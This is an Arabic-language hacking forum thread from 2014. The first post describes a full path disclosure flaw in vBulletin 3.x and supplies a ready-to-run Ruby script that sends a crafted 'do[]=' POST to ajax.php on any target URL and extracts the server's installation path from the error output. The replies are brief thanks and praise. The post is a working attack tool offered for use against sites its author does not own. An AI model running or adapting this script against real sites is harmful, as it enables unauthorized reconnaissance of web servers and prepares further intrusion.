[ شرح ] vbulletin 3.x.x Full Path Disclosure

الموضوع في 'آمن المواقع والسيرفرات' بواسطة PayPal, بتاريخ ‏2 سبتمبر 2014.

كاتب الموضوع : PayPal المشاهدات : 648 الردود : 11 ‏2 سبتمبر 2014
  1. غير متصل

    PayPal
    rankrank
    Developer

    عضو منذ:
    ‏22 نوفمبر 2012
    عدد المشاركات:
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:

    السلام عليكم ورحمة الله وبركاته

    vbulletin 3.x.x Full Path Disclosure

    اوكي الأصاب في ملف

    كود PHP:
    ajax.php
    لأذهار الخطأ نعمل بوست

    كود PHP:
    do[]=
    للكسالى كود يقوم بالعمل تلقائيا

    [hide]
    كود PHP:
    #!/user/bin/ruby 
    # By hamza killer 
    require 'net/http'
    require 'net/https'
    require 'uri'
    puts " # vbulletin 3.8.x full path disclosure By Hamza killer  "
    puts " # Just 4 friend !!!"
    def favori(url)

    if(
    url=~ /sec4ever/ || url=~ /s3ck/)
    puts "Lamerz Plz !!! G0 to hell "
    exit
    end
    end
    def post
    (url)
    uris URI(url)
    http Net::HTTP.new(uris.host80)
    http.use_ssl true if uris.scheme == 'https'
    path "#{uris.path}/ajax.php"
    post='do[]='
    respdata http.post(pathpost)
    return 
    resp.body
    end
    def htt
    (url)
    if !(
    url =~ /http/i)
     
    puts "Plz Enter Http or Https !!!!"   
     
    exit
    end
        end
    url 
    ARGV[0]
    if !(
    url)
    puts "# usage ruby x.rb http://site.xx/vb"
      
    exit 
        
    end
        favori
    (url)
        
    htt(url)

    body=post(url)
    xpp=body.scan(/, array given in <strong>(.*?)includes\/class_core.php<\/strong>/i)
    begin
    xpp
    [0].each { |dz |  
    puts "# Full Path Found :D "
    puts "Path:#{dz}"
    }
    rescue  
    puts 
    "# Full Path Not Found :D "
    exit
    end 
    [/hide]

    [​IMG]
     


    جاري تحميل الصفحة...
  2. غير متصل

    Ameer Eagle V.I.P
    V • I • P

    عضو منذ:
    ‏7 يونيو 2014
    عدد المشاركات:
    الإعجابات المتلقاة:
    2,778
    نقاط الجائزة:
    الجنس:
    ذكر
    الوظيفة:
    Student
    الإقامة:

    رد: vbulletin 3.x.x Full Path Disclosure

    !!:{!!:{!!:{!!:{ عشت اخي %:"%:"%:"
     


  3. غير متصل

    doome
    rank
    Developer

    عضو منذ:
    ‏27 مايو 2012
    عدد المشاركات:
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    الإقامة:

    رد: vbulletin 3.x.x Full Path Disclosure

    تسلم إيدك يا غالي بارك الله فيك %:"
     


  4. غير متصل

    fantome195
    rankrank
    Developer

    عضو منذ:
    ‏4 يونيو 2012
    عدد المشاركات:
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    الوظيفة:
    Student
    الإقامة:

    رد: vbulletin 3.x.x Full Path Disclosure

    تسلم ايدك على هدا المجهود :{5}:
     


  5. غير متصل

    MR.CAPTCHA Expert Developer
    ExpErt DeveloPer

    عضو منذ:
    ‏30 أغسطس 2014
    عدد المشاركات:
    الإعجابات المتلقاة:
    14
    نقاط الجائزة:
    الوظيفة:
    I.T Student
    الإقامة:

    رد: vbulletin 3.x.x Full Path Disclosure

    thnq
     


  6. غير متصل

    drrb
    rank
    Developer

    عضو منذ:
    ‏2 سبتمبر 2014
    عدد المشاركات:
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:

    رد: vbulletin 3.x.x Full Path Disclosure

    مشششكور
     


  7. غير متصل

    Red-StOnE
    rankrank
    Developer

    عضو منذ:
    ‏29 مايو 2012
    عدد المشاركات:
    الإعجابات المتلقاة:
    5
    نقاط الجائزة:

    رد: vbulletin 3.x.x Full Path Disclosure

    احسنت اخي واصل ابداعك
     


  8. غير متصل

    STAY ALIVE
    Active DeveloPer

    عضو منذ:
    ‏22 أكتوبر 2012
    عدد المشاركات:
    الإعجابات المتلقاة:
    2
    نقاط الجائزة:

    رد: vbulletin 3.x.x Full Path Disclosure

    بطـــــل ُ;)ًٌُ
    يعطيك العـآفيه
     


  9. غير متصل

    خالد المصري
    rank
    Developer

    عضو منذ:
    ‏12 سبتمبر 2014
    عدد المشاركات:
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:

    رد: vbulletin 3.x.x Full Path Disclosure

    يعطيكَ آلعآفية يآوحشَ
    وآصلٌ جآري
    تقييمك
    سلمت يدآك عزيزي
     


  10. غير متصل

    Mr Archer
    DeveloPer Plus

    عضو منذ:
    ‏8 يوليو 2014
    عدد المشاركات:
    الإعجابات المتلقاة:
    9
    نقاط الجائزة:

    رد: vbulletin 3.x.x Full Path Disclosure

    شي حلو
    واصل :ُ{1y}:ُ
     


مشاركة هذه الصفحة

جاري تحميل الصفحة...